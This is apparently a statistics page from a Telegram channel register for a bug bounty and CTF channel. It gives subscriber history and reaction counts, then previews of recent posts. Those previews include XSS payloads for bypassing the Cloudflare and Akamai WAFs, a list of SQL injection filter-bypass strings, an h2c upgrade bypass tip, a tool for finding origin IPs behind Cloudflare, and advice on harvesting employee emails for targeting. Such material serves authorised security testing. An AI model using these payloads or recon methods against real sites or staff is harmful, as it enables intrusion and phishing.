Channel
@ctftm
On this record: Topic · Growth · Engagement · Reactions · Posts · Telegram's recommendations · Cite this entry
8,058subscribers
-64 since we began measuring on 7 August 2026
Risers and fallers across the register · movement among entries of 3,162–10,000.
| Telegram ID | -1001163604233 |
|---|---|
| Type | Channel |
| Username | @ctftm |
| Created | Between 1 March 2018 and 31 July 2021 — estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 7 August 2026 |
| Last confirmed live | 16 September 2026 |
| Measurements held | 13 |
| Confirmed unchanged | 1 time, most recently 16 September 2026 |
| On Telegram | t.me/ctftm |
Hacking & security — a classification, not a measurement. An on-box language model (Qwen3.6-35B-A3B-FP8, prompt version 1) read this channel’s own recent posts on 12 September 2026 and assigned it the closest of 31 fixed categories, at 98% confidence. This is a model’s judgement about what the channel is likely to be about, not a fact this register measured the way a subscriber count or a view count is measured — it can be revised on a later pass, and it carries no weight anywhere else on this page. How this classification works, and why it has no browse page of its own yet.
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 16 Sept 2026, 05:01 | 8,058 | -3 |
| 12 Sept 2026, 15:37 | 8,061 | -4 |
| 8 Sept 2026, 10:35 | 8,065 | -14 |
| 3 Sept 2026, 09:33 | 8,079 | +3 |
| 31 Aug 2026, 02:24 | 8,076 | -9 |
| 28 Aug 2026, 00:35 | 8,085 | -4 |
| 24 Aug 2026, 20:34 | 8,089 | -4 |
| 21 Aug 2026, 00:48 | 8,093 | -1 |
| 17 Aug 2026, 17:44 | 8,094 | -17 |
| 14 Aug 2026, 04:17 | 8,111 | -5 |
| 11 Aug 2026, 02:11 | 8,116 | -3 |
| 8 Aug 2026, 04:25 | 8,119 | -3 |
| 7 Aug 2026, 13:16 | 8,122 | first reading |
20 posts held, back to 14 March 2025 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 19 pages of Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 20 posts for this entry, the most recent from 15 September 2025. An engagement rate over an empty window would be a number about nothing.
121 reactions across 16 posts, in 6 distinct kinds. The most used accounts for 60.3% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| ❤ | 73 | 60.3% | |
| 👍 | 26 | 21.5% | |
| 😁 | 11 | 9.09% | |
| 🔥 | 8 | 6.61% | |
| 👏 | 2 | 1.65% | |
| 🤩 | 1 | 0.826% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 16 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 121 reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 20 most recent posts we hold, published 14 March 2025 to 15 September 2025, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Bug Bounty Pro Tip: #H2C Upgrade Bypass Target: Applications using HTTP/2 Cleartext (h2c) upgrades. The Core Idea: Many Web Application Firewalls (WAFs) and reverse proxies process HTTP/1.1 but fail to correctly inspect traffic after it's upgraded to HTTP/2. How to Test: 1. Find a target that accepts an Upgrade: h2c header (common in Java, gRPC, and some reverse proxies like Nginx). 2. Send an initial HTTP/1.1 r…
❤9👍1🤩1
New bug bounty target! Check out https://investaxes.com/.well-known/security.txt for details on their vulnerability disclosure program. Happy hunting!
❤6
NEW BUG BOUNTY PLATFORM https://www.hackprove.com/
❤7
CF-Hero is a reconnaissance tool that uses multiple data sources to discover the origin IP addresses of Cloudflare-protected web applications. https://github.com/musana/CF-Hero
❤2
🔍 Bug Bounty Web Checklist Track your web pentesting progress by checking each subcategory. https://nemocyberworld.github.io/BugBountyCheckList/
❤1
Shodan Dorks https://github.com/nullfuzz-pentest/shodan-dorks
APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps. GitHub: https://github.com/d78ui98/APKDeepLens
Xss Payload <input/onmouseover="javaSCRIPT:confirm(1)”
bypass XSS Cloudflare WAF Encoded Payload: "><track/onerror='confirm\%601\%60'> Clean Payload: "><track/onerror='confirm1'> HTML entity & URL encoding: " --> " > --> > < --> < ' --> ' ` --> \%60 #Bypass #XSS #WAF
👍9🔥4❤1
Bypass SQL union select /*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+s…
🔥4
Akamai WAF bypass XSS <input id=b value=javascrip> <input id=c value=t:aler> <input id=d value=t(1)> <lol contenteditable onbeforeinput='location=b.value+c.value+d.value'> click and write here! #WAF #Bypass
❤4
🔰 Collect emails, usernames from commit history of repos of an org from GitHub for more personalized targeting of employees. GitHub: ghintel.secrets.ninja
Showing the 12 most recent of 20 posts we hold for @ctftm. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
The reverse of the list above, and a different kind of signal. This does not require this channel to have ever been asked about directly — each row below is a channel we DID ask Telegram about, whose Telegram-generated list happened to include this one. A channel can appear here with an empty list above it, because being named by someone else’s query is independent of having been queried itself.
This channel appears in 2 seed channels' Telegram-generated recommendation lists in total. Each is Telegram’s list for THAT channel, not this one — see how this is measured.
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 16 September 2026 — this entry's latest reading, not the date you are reading this.
“CTF | Bug Bounty” (@ctftm), 8,058 subscribers as measured 16 September 2026. Telegram Register, tgregister.com/channel/ctftm.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.